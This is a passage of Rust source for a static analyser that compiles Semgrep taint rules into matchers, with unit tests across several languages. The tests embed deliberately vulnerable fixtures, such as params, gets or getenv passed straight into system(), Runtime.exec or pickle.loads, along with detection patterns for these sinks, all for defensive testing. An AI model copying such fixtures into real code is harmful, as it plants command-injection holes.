MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::MemberAssign {
field: field.to_string(),
description: describe(field, role),
}),
MatcherRole::Source => None,
};
}
if let Some(open_paren) = pat.find('(') {
if !pat.ends_with(')') {
return None;
}
let callee = pat[..open_paren].trim();
if callee.is_empty() {
return None;
}
if let Some(method) = parse_metavar_dot_method(callee) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::MethodName {
method: method.to_string(),
description: describe(method, role),
}),
MatcherRole::Source => None,
};
}
if let Some(field) = parse_member_call_penultimate(callee) {
return Some(GenericMatcher::FieldName {
field: field.to_string(),
description: describe(field, role),
});
}
if let Some(receiver) = parse_receiver_dot_metavar(callee) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::ReceiverCall {
receiver: receiver.to_string(),
description: describe(receiver, role),
}),
MatcherRole::Source => None,
};
}
if !is_dotted_identifier(callee) {
return None;
}
let canonical = callee.to_string();
return Some(GenericMatcher::Call {
canonical: canonical.clone(),
description: describe(&canonical, role),
});
}
if is_php_variable(pat) {
return match role {
MatcherRole::Source => Some(GenericMatcher::ParamName {
names: vec![pat.to_string()],
description: format!("untrusted `{}` input", pat),
}),
MatcherRole::Sink | MatcherRole::Sanitizer => None,
};
}
if let Some(field) = parse_metavar_dot_method(pat) {
return Some(GenericMatcher::FieldName {
field: field.to_string(),
description: describe(field, role),
});
}
if let MatcherRole::Source = role {
if let Some(root) = parse_concrete_root_metavar_field(pat) {
return Some(GenericMatcher::ParamName {
names: vec![root.to_string()],
description: format!("untrusted `{}` request object", root),
});
}
}
if !is_dotted_identifier(pat) {
return None;
}
if let Some(dot) = pat.rfind('.') {
let root = pat[..pat.find('.').expect("rfind guarantees at least one dot")].to_string();
let field = pat[dot + 1..].to_string();
if root.is_empty() || field.is_empty() {
return None;
}
let desc = describe(pat, role);
return Some(GenericMatcher::Attribute {
root,
field,
description: desc,
});
}
match role {
MatcherRole::Source => Some(GenericMatcher::ParamName {
names: vec![pat.to_string()],
description: format!("untrusted `{}` parameter", pat),
}),
MatcherRole::Sink | MatcherRole::Sanitizer => None,
}
}
fn parse_member_assign_pattern(pat: &str) -> Option<&str> {
let eq_pos = find_single_assignment(pat)?;
let lhs = pat[..eq_pos].trim();
if lhs.contains('(') || lhs.contains(')') {
return None;
}
parse_metavar_dot_method(lhs)
}
fn find_single_assignment(s: &str) -> Option<usize> {
let bytes = s.as_bytes();
for (i, &b) in bytes.iter().enumerate() {
if b != b'=' {
continue;
}
if bytes.get(i + 1) == Some(&b'=') {
continue;
}
if i > 0 && matches!(bytes[i - 1], b'!' | b'<' | b'>') {
continue;
}
return Some(i);
}
None
}
fn parse_subscript_base(pat: &str) -> Option<Option<String>> {
if !pat.ends_with(']') {
return None;
}
let open = pat.find('[')?;
let base = pat[..open].trim();
if base.is_empty() {
return None;
}
if base.contains('(') || base.contains(')') || base.contains('[') || base.contains(' ') {
return None;
}
if is_metavariable(base) {
return Some(None);
}
if is_identifier(base) {
return Some(Some(base.to_string()));
}
if let Some(dot) = base.rfind('.') {
let last = &base[dot + 1..];
if is_metavariable(last) {
return Some(None);
}
if is_identifier(last) {
let head_ok = base[..dot]
.split('.')
.all(|seg| is_identifier(seg) || is_metavariable(seg));
if head_ok {
return Some(Some(last.to_string()));
}
}
}
None
}
fn is_object_literal_value_pattern(pat: &str) -> bool {
let p = pat.trim();
if !(p.starts_with('{') && p.ends_with('}')) {
return false;
}
let bytes = p.as_bytes();
let mut i = 0;
while i < bytes.len() {
if bytes[i] == b':' {
let mut j = i + 1;
while j < bytes.len() && (bytes[j] as char).is_whitespace() {
j += 1;
}
if j < bytes.len() && bytes[j] == b'$' {
let mut k = j + 1;
if k < bytes.len() && (bytes[k].is_ascii_alphabetic() || bytes[k] == b'_') {
while k < bytes.len() && (bytes[k].is_ascii_alphanumeric() || bytes[k] == b'_')
{
k += 1;
}
return true;
}
}
}
i += 1;
}
false
}
fn parse_return_metavar(pat: &str) -> Option<()> {
let rest = pat.strip_prefix("return")?;
if !rest.starts_with(char::is_whitespace) {
return None;
}
let v = rest.trim();
let name = v.strip_prefix('$')?;
if name.is_empty() {
return None;
}
let mut chars = name.chars();
let first = chars.next()?;
if !(first.is_ascii_alphabetic() || first == '_') {
return None;
}
if name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') {
Some(())
} else {
None
}
}
fn is_binop_format_pattern(pat: &str) -> bool {
if (pat.starts_with("f\"") || pat.starts_with("f'")) && pat.contains("{$") {
return true;
}
let operands = split_top_level_binop(pat);
let Some(operands) = operands else {
return false;
};
if operands.len() < 2 {
return false;
}
operands.iter().all(|o| is_binop_operand(o))
}
fn split_top_level_binop(pat: &str) -> Option<Vec<&str>> {
let bytes = pat.as_bytes();
let mut operands = Vec::new();
let mut start = 0usize;
let mut depth: i32 = 0;
let mut quote: Option<u8> = None;
let mut found_op = false;
let mut i = 0usize;
while i < bytes.len() {
let b = bytes[i];
if let Some(q) = quote {
if b == q {
quote = None;
}
i += 1;
continue;
}
match b {
b'"' | b'\'' => quote = Some(b),
b'(' | b'[' | b'{' => depth += 1,
b')' | b']' | b'}' => depth -= 1,
b'+' | b'%' if depth == 0 => {
let space_before = i > 0 && bytes[i - 1] == b' ';
let space_after = i + 1 < bytes.len() && bytes[i + 1] == b' ';
if space_before && space_after {
operands.push(pat[start..i].trim());
start = i + 1;
found_op = true;
}
}
_ => {}
}
i += 1;
}
if !found_op {
return None;
}
operands.push(pat[start..].trim());
Some(operands)
}
fn is_binop_operand(o: &str) -> bool {
let o = o.trim();
if o.is_empty() {
return false;
}
if o == "..." {
return true;
}
if (o.starts_with('"') && o.ends_with('"') && o.len() >= 2)
|| (o.starts_with('\'') && o.ends_with('\'') && o.len() >= 2)
|| (o.starts_with("f\"") && o.ends_with('"'))
|| (o.starts_with("f'") && o.ends_with('\''))
{
return true;
}
if is_metavariable(o) {
return true;
}
if is_dotted_identifier(o) {
return true;
}
false
}
fn parse_metavar_dot_method(callee: &str) -> Option<&str> {
let dot = callee.find('.')?;
let receiver = &callee[..dot];
let rest = &callee[dot + 1..];
if !is_metavariable(receiver) {
return None;
}
if rest.contains('.') {
return None;
}
if !is_identifier(rest) {
return None;
}
Some(rest)
}
fn parse_concrete_root_metavar_field(pat: &str) -> Option<&str> {
let dot = pat.find('.')?;
let root = &pat[..dot];
let field = &pat[dot + 1..];
if field.contains('.') {
return None;
}
if !is_identifier(root) {
return None;
}
if !is_metavariable(field) {
return None;
}
Some(root)
}
fn parse_member_call_penultimate(callee: &str) -> Option<&str> {
let segments: Vec<&str> = callee.split('.').collect();
if segments.len() < 3 {
return None;
}
let method = segments[segments.len() - 1];
let field = segments[segments.len() - 2];
if !is_identifier(method) || !is_identifier(field) {
return None;
}
let mut has_metavar = false;
for seg in &segments[..segments.len() - 2] {
if is_metavariable(seg) {
has_metavar = true;
} else if !is_identifier(seg) {
return None;
}
}
if !has_metavar {
return None;
}
Some(field)
}
fn parse_receiver_dot_metavar(callee: &str) -> Option<&str> {
let dot = callee.find('.')?;
let receiver = &callee[..dot];
let rest = &callee[dot + 1..];
if !is_identifier(receiver) {
return None;
}
if rest.contains('.') {
return None;
}
if !is_metavariable(rest) {
return None;
}
Some(receiver)
}
fn is_metavariable(s: &str) -> bool {
let mut chars = s.chars();
match chars.next() {
Some('$') => {}
_ => return false,
}
let rest: String = chars.collect();
!rest.is_empty()
&& rest
.chars()
.all(|c| c.is_ascii_uppercase() || c.is_ascii_digit() || c == '_')
}
fn describe(canonical: &str, role: MatcherRole) -> String {
match role {
MatcherRole::Source => format!("semgrep source `{}`", canonical),
MatcherRole::Sink => format!("semgrep sink `{}`", canonical),
MatcherRole::Sanitizer => format!("semgrep sanitizer `{}`", canonical),
}
}
fn is_dotted_identifier(s: &str) -> bool {
if s.is_empty() {
return false;
}
s.split('.').all(is_identifier)
}
fn is_identifier(s: &str) -> bool {
let mut chars = s.chars();
match chars.next() {
Some(c) if c.is_ascii_alphabetic() || c == '_' => {}
_ => return false,
}
chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
}
fn is_php_variable(s: &str) -> bool {
let mut chars = s.chars();
match chars.next() {
Some('$') => {}
_ => return false,
}
let rest: &str = &s[1..];
if rest.is_empty() {
return false;
}
is_identifier(rest)
}
fn map_severity(s: &str) -> Severity {
match s.to_ascii_uppercase().as_str() {
"ERROR" => Severity::Critical,
"WARNING" => Severity::High,
"INFO" => Severity::Medium,
_ => Severity::Medium,
}
}
fn extract_cwe(yaml: &YamlValue) -> Option<String> {
let meta = yaml.get("metadata")?;
let cwe = meta.get("cwe")?;
match cwe {
YamlValue::String(s) => Some(s.clone()),
YamlValue::Sequence(v) => v.first().and_then(|x| x.as_str()).map(|s| s.to_string()),
_ => None,
}
}
#[cfg(test)]
mod tests {
use super::*;
fn compile(pattern: &str, role: MatcherRole) -> Option<GenericMatcher> {
compile_pattern(pattern, role, Language::Python)
}
#[test]
fn compile_attribute_source() {
let m = compile("request.data", MatcherRole::Source).expect("attribute");
match m {
GenericMatcher::Attribute { root, field, .. } => {
assert_eq!(root, "request");
assert_eq!(field, "data");
}
_ => panic!("expected Attribute"),
}
}
#[test]
fn compile_nested_attribute_takes_leftmost_root_and_outermost_field() {
let m = compile("request.session.user_id", MatcherRole::Source).expect("attribute");
match m {
GenericMatcher::Attribute { root, field, .. } => {
assert_eq!(root, "request");
assert_eq!(field, "user_id");
}
_ => panic!("expected Attribute"),
}
}
#[test]
fn compile_call_with_metavar() {
let m = compile("pickle.loads($X)", MatcherRole::Sink).expect("call");
match m {
GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "pickle.loads"),
_ => panic!("expected Call"),
}
}
#[test]
fn compile_call_with_ellipsis() {
let m = compile("pickle.loads(...)", MatcherRole::Sink).expect("call");
match m {
GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "pickle.loads"),
_ => panic!("expected Call"),
}
}
#[test]
fn compile_bare_func_call() {
let m = compile("eval($X)", MatcherRole::Sink).expect("call");
match m {
GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "eval"),
_ => panic!("expected Call"),
}
}
#[test]
fn compile_member_call_metavar_root_yields_fieldname_on_penultimate() {
let m = compile("$CLIENT.chat.completions.create(...)", MatcherRole::Source)
.expect("member-call source");
match m {
GenericMatcher::FieldName { field, .. } => assert_eq!(field, "completions"),
other => panic!("expected FieldName, got {other:?}"),
}
let m = compile("$CLIENT.messages.create(...)", MatcherRole::Source).expect("member-call");
match m {
GenericMatcher::FieldName { field, .. } => assert_eq!(field, "messages"),
other => panic!("expected FieldName, got {other:?}"),
}
}
#[test]
fn compile_member_call_metavar_root_concrete_field_as_sink() {
let m = compile("$CLIENT.calls.create(...)", MatcherRole::Sink).expect("member-call sink");
match m {
GenericMatcher::FieldName { field, .. } => assert_eq!(field, "calls"),
other => panic!("expected FieldName, got {other:?}"),
}
}
#[test]
fn compile_member_call_metavar_penultimate_is_rejected() {
let m = compile("request.$PROPERTY.get(...)", MatcherRole::Source);
assert!(
!matches!(m, Some(GenericMatcher::FieldName { .. })),
"metavar penultimate must not compile to FieldName, got {m:?}"
);
}
#[test]
fn compile_member_call_fully_concrete_stays_call() {
let m = compile("flask.request.form.get(...)", MatcherRole::Source).expect("concrete call");
match m {
GenericMatcher::Call { canonical, .. } => {
assert_eq!(canonical, "flask.request.form.get")
}
other => panic!("expected Call, got {other:?}"),
}
}
#[test]
fn parse_member_call_penultimate_edge_cases() {
assert_eq!(
parse_member_call_penultimate("$CLIENT.chat.completions.create"),
Some("completions")
);
assert_eq!(parse_member_call_penultimate("$REQ.POST.get"), Some("POST"));
assert_eq!(parse_member_call_penultimate("$CONN.executeQuery"), None);
assert_eq!(parse_member_call_penultimate("$REQ.POST.$M"), None);
assert_eq!(parse_member_call_penultimate("request.$PROP.get"), None);
assert_eq!(parse_member_call_penultimate("a.b.c"), None);
}
#[test]
fn compile_bare_identifier_source() {
let m = compile("request", MatcherRole::Source).expect("paramname");
match m {
GenericMatcher::ParamName { names, .. } => {
assert_eq!(names, vec!["request".to_string()])
}
_ => panic!("expected ParamName"),
}
}
#[test]
fn bare_identifier_rejected_as_sink() {
assert!(compile("request", MatcherRole::Sink).is_none());
}
#[test]
fn weird_shapes_rejected() {
assert!(compile("$X + $Y", MatcherRole::Source).is_none());
assert!(compile("a.b.c(d", MatcherRole::Sink).is_none());
assert!(compile("", MatcherRole::Source).is_none());
}
#[test]
fn parse_full_taint_rule() {
let yaml = r#"
id: semgrep-pickle-taint
mode: taint
languages: [python]
severity: ERROR
message: "Untrusted input reaches pickle.loads"
metadata:
cwe: "CWE-502"
pattern-sources:
- pattern: request.data
- pattern: request
pattern-sinks:
- pattern: pickle.loads($X)
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.id, "semgrep/semgrep-pickle-taint");
assert_eq!(r.lang, Language::Python);
assert_eq!(r.cwe.as_deref(), Some("CWE-502"));
assert_eq!(r.spec.sources.len(), 2);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn non_taint_rule_falls_through() {
let yaml = r#"
id: classic
pattern: eval(...)
message: x
severity: ERROR
languages: [python]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
assert!(matches!(parse_taint_rule(&v), TaintRuleParse::NotTaint));
}
#[test]
fn taint_rule_with_unsupported_language_is_skipped() {
let yaml = r#"
id: x
mode: taint
languages: [elixir]
severity: ERROR
message: m
pattern-sources: [{pattern: req}]
pattern-sinks: [{pattern: eval($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
assert!(matches!(parse_taint_rule(&v), TaintRuleParse::Skip(_)));
}
#[test]
fn taint_rule_with_ruby_language_compiles() {
let yaml = r#"
id: ruby-taint
mode: taint
languages: [ruby]
severity: ERROR
message: m
pattern-sources: [{pattern: gets($X)}]
pattern-sinks: [{pattern: system($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::Ruby);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_rb_alias_compiles_as_ruby() {
let yaml = r#"
id: rb-taint
mode: taint
languages: [rb]
severity: ERROR
message: m
pattern-sources: [{pattern: gets($X)}]
pattern-sinks: [{pattern: eval($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::Ruby),
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn ruby_taint_rule_produces_finding_for_source_to_sink_flow() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-cmd-injection
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted input reaches system"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: gets($X)
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def run
cmd = gets
system(cmd)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for gets -> system flow, got none"
);
assert!(
findings[0].description.contains("gets"),
"description should mention source"
);
}
#[test]
fn ruby_bridge_bare_params_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-params-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches system"
pattern-sources:
- pattern: params
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def handler
cmd = params[:cmd]
system(cmd)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for params[:cmd] -> system, got {:?}",
findings
);
assert_eq!(
findings[0].line, 4,
"finding should be at the system() sink line"
);
}
#[test]
fn ruby_bridge_bare_gets_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-gets-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted gets reaches system"
pattern-sources:
- pattern: gets
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def handler
cmd = gets
system(cmd)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for bare gets -> system, got {:?}",
findings
);
assert_eq!(
findings[0].line, 4,
"finding should be at the system() sink line"
);
}
#[test]
fn ruby_bridge_bare_params_source_sanitized_produces_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-params-cmdi-sanitized
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches system"
pattern-sources:
- pattern: params
pattern-sanitizers:
- pattern: Shellwords.escape($X)
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def handler
cmd = Shellwords.escape(params[:cmd])
system(cmd)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"sanitized params flow must produce no finding, got {:?}",
findings
);
}
#[test]
fn ruby_bridge_dotted_request_params_source_still_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-request-params-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted request.params reaches system"
pattern-sources:
- pattern: request.params
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def handler
val = request.params[:q]
system(val)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"dotted request.params -> system must still fire, got {:?}",
findings
);
}
#[test]
fn ruby_bridge_bare_params_source_near_miss_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-params-cmdi-nearmiss
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches system"
pattern-sources:
- pattern: params
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def handler
cmd = params[:cmd]
safe = "ls"
system(safe)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"untainted argument must not fire, got {:?}",
findings
);
}
#[test]
fn taint_rule_with_c_language_compiles() {
let yaml = r#"
id: c-taint
mode: taint
languages: [c]
severity: ERROR
message: m
pattern-sources: [{pattern: getenv($X)}]
pattern-sinks: [{pattern: system($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::C);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_kotlin_language_compiles() {
let yaml = r#"
id: kotlin-taint
mode: taint
languages: [kotlin]
severity: ERROR
message: m
pattern-sources: [{pattern: request.getParameter($X)}]
pattern-sinks: [{pattern: Runtime.exec($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::Kotlin);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_kt_alias_compiles_as_kotlin() {
let yaml = r#"
id: kt-taint
mode: taint
languages: [kt]
severity: ERROR
message: m
pattern-sources: [{pattern: call.receiveText($X)}]
pattern-sinks: [{pattern: Runtime.exec($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::Kotlin),
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_javascript_language_compiles() {
let yaml = r#"
id: js-taint
mode: taint
languages: [javascript]
severity: ERROR
message: m
pattern-sources: [{pattern: req.query}]
pattern-sinks: [{pattern: eval($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::JavaScript);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_typescript_language_compiles_as_javascript() {
let yaml = r#"
id: ts-taint
mode: taint
languages: [typescript]
severity: ERROR
message: m
pattern-sources: [{pattern: req.body}]
pattern-sinks: [{pattern: eval($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::JavaScript),
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_go_language_compiles() {
let yaml = r#"
id: go-taint
mode: taint
languages: [go]
severity: ERROR
message: m
pattern-sources: [{pattern: c.Query($X)}]
pattern-sinks: [{pattern: exec.Command($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::Go);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_java_language_compiles() {
let yaml = r#"
id: java-taint
mode: taint
languages: [java]
severity: ERROR
message: m
pattern-sources: [{pattern: request.getParameter($X)}]
pattern-sinks: [{pattern: Runtime.exec($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::Java);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn java_taint_rule_produces_finding_for_source_to_sink_flow() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-cmd-injection
mode: taint
languages: [java]
severity: ERROR
message: "Tainted input reaches Runtime.exec"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: Runtime.exec($X)
"#,
);
let src = r#"
class Controller {
void run(HttpServletRequest request) throws Exception {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for request.getParameter -> Runtime.exec flow, got none"
);
assert!(
findings[0].description.contains("Runtime.exec")
|| findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("exec")),
"sink description should mention exec: {:?}",
findings[0]
);
}
#[test]
fn java_taint_sanitizer_blocks_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-cmd-sanitized
mode: taint
languages: [java]
severity: ERROR
message: "Tainted input reaches Runtime.exec"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: Runtime.exec($X)
pattern-sanitizers:
- pattern: validate($X)
"#,
);
let src = r#"
class Controller {
void run(HttpServletRequest request) throws Exception {
String cmd = request.getParameter("cmd");
String safe = validate(cmd);
Runtime.getRuntime().exec(safe);
}
}
"#;
assert_eq!(
rule.spec.sanitizers.len(),
1,
"sanitizer spec should compile"
);
let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
let _ = rule.check(src, &tree); }
#[test]
fn c_taint_rule_produces_finding_for_getenv_to_system() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: c-cmd-injection
mode: taint
languages: [c]
severity: ERROR
message: "Tainted env var reaches system()"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: getenv($X)
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
#include <stdlib.h>
void handler() {
char *cmd = getenv("CMD");
system(cmd);
}
"#;
let tree = parse_file(src, Language::C).expect("C fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for getenv -> system flow, got none"
);
assert!(
findings[0].description.contains("system")
|| findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("system")),
"sink description should mention system: {:?}",
findings[0]
);
}
#[test]
fn c_taint_sanitizer_no_panic() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: c-cmd-sanitized
mode: taint
languages: [c]
severity: ERROR
message: "Tainted input reaches system()"
pattern-sources:
- pattern: getenv($X)
pattern-sinks:
- pattern: system($X)
pattern-sanitizers:
- pattern: strlcpy($X)
"#,
);
assert_eq!(
rule.spec.sanitizers.len(),
1,
"sanitizer spec should compile"
);
let src = r#"
#include <stdlib.h>
#include <string.h>
void handler() {
char *input = getenv("CMD");
char safe[64];
strlcpy(safe, input, sizeof(safe));
system(safe);
}
"#;
let tree = parse_file(src, Language::C).expect("C fixture should parse");
let _ = rule.check(src, &tree); }
#[test]
fn kotlin_taint_rule_produces_finding_for_receive_to_exec() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: kotlin-cmd-injection
mode: taint
languages: [kotlin]
severity: ERROR
message: "Tainted request body reaches Runtime.exec"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: call.receiveText($X)
pattern-sinks:
- pattern: Runtime.exec($X)
"#,
);
let src = r#"
fun handler(call: ApplicationCall) {
val cmd = call.receiveText()
Runtime.getRuntime().exec(cmd)
}
"#;
let tree = parse_file(src, Language::Kotlin).expect("Kotlin fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for call.receiveText -> Runtime.exec flow, got none"
);
assert!(
findings[0].description.contains("exec")
|| findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("exec")),
"sink description should mention exec: {:?}",
findings[0]
);
}
#[test]
fn kotlin_taint_sanitizer_no_panic() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: kotlin-cmd-sanitized
mode: taint
languages: [kotlin]
severity: ERROR
message: "Tainted request body reaches Runtime.exec"
pattern-sources:
- pattern: call.receiveText($X)
pattern-sinks:
- pattern: Runtime.exec($X)
pattern-sanitizers:
- pattern: validate($X)
"#,
);
assert_eq!(
rule.spec.sanitizers.len(),
1,
"sanitizer spec should compile"
);
let src = r#"
fun handler(call: ApplicationCall) {
val body = call.receiveText()
val safe = validate(body)
Runtime.getRuntime().exec(safe)
}
"#;
let tree = parse_file(src, Language::Kotlin).expect("Kotlin fixture should parse");
let _ = rule.check(src, &tree); }
fn compiled(yaml: &str) -> SemgrepTaintRule {
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => r,
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn pattern_either_flattens_into_multiple_matchers() {
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-either:
- pattern: request.data
- pattern: request.form
- pattern: request.args
pattern-sinks:
- pattern: pickle.loads($X)
"#,
);
assert_eq!(r.spec.sources.len(), 3);
assert_eq!(r.spec.sinks.len(), 1);
}
#[test]
fn nested_pattern_either_flattens_recursively() {
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-either:
- pattern-either:
- pattern: request.data
- pattern: request.form
- pattern: request.args
pattern-sinks:
- pattern: pickle.loads($X)
"#,
);
assert_eq!(r.spec.sources.len(), 3);
}
#[test]
fn pattern_either_in_sinks_flattens() {
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern: request.data
pattern-sinks:
- pattern-either:
- pattern: pickle.loads($X)
- pattern: pickle.load($X)
"#,
);
assert_eq!(r.spec.sinks.len(), 2);
}
#[test]
fn pattern_either_in_sanitizers_flattens() {
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern: request.data
pattern-sinks:
- pattern: pickle.loads($X)
pattern-sanitizers:
- pattern-either:
- pattern: sanitize($X)
- pattern: escape($X)
"#,
);
assert_eq!(r.spec.sanitizers.len(), 2);
}
#[test]
fn mixed_pattern_and_pattern_either_work_together() {
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-either:
- pattern: request.data
- pattern: request.form
